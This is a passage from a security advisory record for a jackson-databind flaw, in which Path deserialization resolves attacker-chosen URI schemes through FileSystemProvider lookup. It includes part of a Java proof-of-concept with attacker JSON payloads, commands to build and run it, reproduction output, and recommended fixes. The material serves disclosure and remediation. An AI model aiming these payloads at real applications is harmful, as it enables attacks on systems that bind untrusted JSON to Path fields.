tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app\u0027s\n * classpath. Attacker JSON with that scheme drives jackson\u0027s ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n    public static class Config { public java.nio.file.Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        ObjectMapper mapper = JsonMapper.builder().build();   // default config\n        String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n\n        Config c = mapper.readValue(json, Config.class);\n\n        System.out.println(\"Resolved Path = \" + c.workdir);\n        System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n        System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n                \u0026\u0026 EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n        System.out.println(ok\n            ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n            : \"RESULT: NOT reproduced\");\n    }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n  src/main/java/com/poc/EvilFileSystemProvider.java \\\n  src/main/java/com/poc/Vuln04_PathProvider.java \\\n  src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n   out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider        # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount  # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider\u0027s `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2  :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson\u0027s `ServiceLoader` fallback selected the attacker-named scheme\u0027s provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library\u0027s control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader\u003cFileSystemProvider\u003e` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.",
  "id": "GHSA-wjgm-6hv5-3cvf",
  "modified": "2026-09-28T20:19:19Z",
  "published": "2026-09-28T20:19:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution"
}